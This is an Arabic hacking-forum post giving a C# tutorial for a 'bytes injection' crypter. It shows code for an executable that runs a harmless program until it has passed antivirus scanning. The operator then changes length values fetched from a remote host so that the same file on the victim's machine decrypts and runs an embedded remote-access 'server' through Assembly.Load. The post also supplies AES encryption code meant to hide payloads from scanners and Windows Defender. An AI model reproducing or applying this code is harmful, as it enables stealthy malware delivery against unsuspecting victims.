17.10.2017 [Bytes injection] تحكم بماتريد تشغيله عن بعد بدون تضمينه بالسورس


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
1,532
2,886
1
حياكم الله ياشباب
اليوم موضوعنا باختصار لان ان شرحت هنا مثل الفديو مابروح بكرا على الشغل
وهلق بتشوفو الاختصار كيف :15:
خلنا نشرح السورس وامري لله ورح احاول اختصر لان الفديو مذكور كل شي
بس اول شي رح اقول لكم الفكرة
الفكرة انت عند ملف exe اول ماتحطه بالتورنت او اي مكان رح يشغل لك اي برنامج نظيف او سورس نظيف انت تريده
مسج بوكس او برنامج مشهور مثل ماتريد
بس تقرر وتشوف ان تلغيمتك مرت عالفاحصين بتروح ومن جهازك بتخلي السيرفر يشتغل بدل مايشتغل البرنامج او المسج بوكس
اللي كانت تشتغل اول مالغمت
والملف اللي عند الضحية هوة هوة ماتغير
هذه هي الفكرة نفس الملف وقت تريد واول ماتلغم بشغل لهم اي شي تريده
ووقت تريد بتغيره لتشغيل سيرفرك
نجي للاكواد ورح تفهم بعد الشرح :123:




نبدأ مع الكود
C#:
static byte[] hh(byte[] bb)
        {
            var test2 = new byte[Convert.ToInt32(Microsoft().Result)];
            Array.Copy(bb, Convert.ToInt32(MicrosoftT().Result), test2, 0, test2.Length);
            return test2;
        }
الفانكشن هذه عملتها لموضوع من قبل ومهمتها انها بتتجاوز length معين وبتخزن باي اراي محقون مسبقا من طرفك في متغير test2
C#:
public static async Task<string> Microsoft()
        {
            using (HttpClient client = new HttpClient())
            {
                var result = await client.GetStringAsync("http://192.168.2.101/pay2.txt"); return result;
            }
        }
الفانكشن هذه رح تجيب لك متغير من نوع سترينج لمايتم وضعه بالملف ذو الاسم pay2.txt
وهي تمثل length السيرفر الخاص بك واللي رح تعرفه كم بيكون لاحقا
ولكن كما رايتم بالفانكشن السابقة قمنا بتحويل من سترينج ل انتجر عبر
C#:
Convert.ToInt32(Microsoft().Result)
لانه يجب علينا تحديد الطول والطول هو انتجر وليس سترينج لذلك سنقوم بجلبه سترينج ونحوله ل انتجر
الان هنا كما قلت لكي تعلم لينجث اي ملف
C#:
Int64 i = new FileInfo(@"D:\Server.exe").Length;
            File.WriteAllText(@"D:\lenght.txt", i.ToString());
كمان شارحها مسبقا بعديد من المواضيع
C#:
public static async Task<string> MicrosoftT()
        {
            using (HttpClient client = new HttpClient())
            {
                var result = await client.GetStringAsync("http://192.168.2.101/pay.txt"); return result;
            }
        }
الفانكشن الثانية هي اخت الفانكشن الاولى ولكن ستجلب لك كم تريد ان تستثني من لينجث الملف الكلي
اي انه لنفرض انه البرنامج الاساسي اللي بيتم تشغيله لينجثه 1
والكلاينت لينجثه 2
والبرنامج الحقيقي او المسج بوكس او اي شي نظيف تريده لينجثه 3
في هذه الحال يجب وضع 3 التي هي ناتج جمع 1+2 لتشغيل البرنامج النظيف او المسج بوكس او الخ :29:
ويجب وضع 1 لتشغيل سيرفر الاختراق :15:
وهنا الفكرة من الموضوع
اللينجث المراد تجاوزه غير موجود بالسورس
اللينجث الخاص بالملف الهدف الذي تريد تشغيله غير موجود بالسورس ومش معروف مكانه
كلا الملفين مشفرين بخوارزمية مش موجودين خام
رح تنتظر ليخلص الفحص وتغير باللينجث ورح يشتغل الملف البدك اياه
عند التحليل لن يستفاد الفاحص ولن يكشف لك سيرفرك ابدا

ايضا ستقوم كما قلت بجلب سترينج ونقوم بتحويل السترينج ل انتجر عبر التالي
C#:
Convert.ToInt32(MicrosoftT().Result)
انا شفرت سيرفر الاختراق والمسج بوكس عن طريق الفانكشن هنا
جبتها من احد مواضيعي تستطيع ان تجلب بايتات سيرفرك المشفر وماتشفر اصلا بعد تشفيرك
Use WannaCry Crypt Methode Clean all + Windows Defender
C#:
public static byte[] AES(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
Random rnd = new Random();
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 , 9 , 8 , 7 , 6};
using (System.IO.MemoryStream ms = new System.IO.MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
 
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
 
AES.Mode = CipherMode.CBC;
 
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
 
return encryptedBytes;
}
لمن لايعلم كيفية التشفير عبر الفانكشن السابقة هنا شرح
C#:
byte[] b = { 1, 3, 5, 6, 7, 8, 9, 2 };
            File.WriteAllBytes(@"D:\message.exe", AES(File.ReadAllBytes(@"C:\WindowsFormsApp8.exe"), b));
الان لنذهب للدالة الرئيسية التي سيبدا عندها البرنامج بالعمل ونحاكي ماقمنا بعمله
C#:
byte[] b = { 1, 3, 5, 6, 7, 8, 9, 2 };
            System.Reflection.Assembly.Load(AESD(hh(File.ReadAllBytes(Application.ExecutablePath)),b )).EntryPoint.Invoke(null, null);
يتم فك تشفير > AESD الناتج من فانكشن الحصول على البايتات المراد تشغيلها > hh من البرنامج الاساسي الناتج
عن السورس هذا > Application.ExecutablePath بعد حقن البايتات فيه طبعا بيقرا نفسه > File.ReadAllBytes
لمشاهدة الشرح من المرفقات
 

المرفقات

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك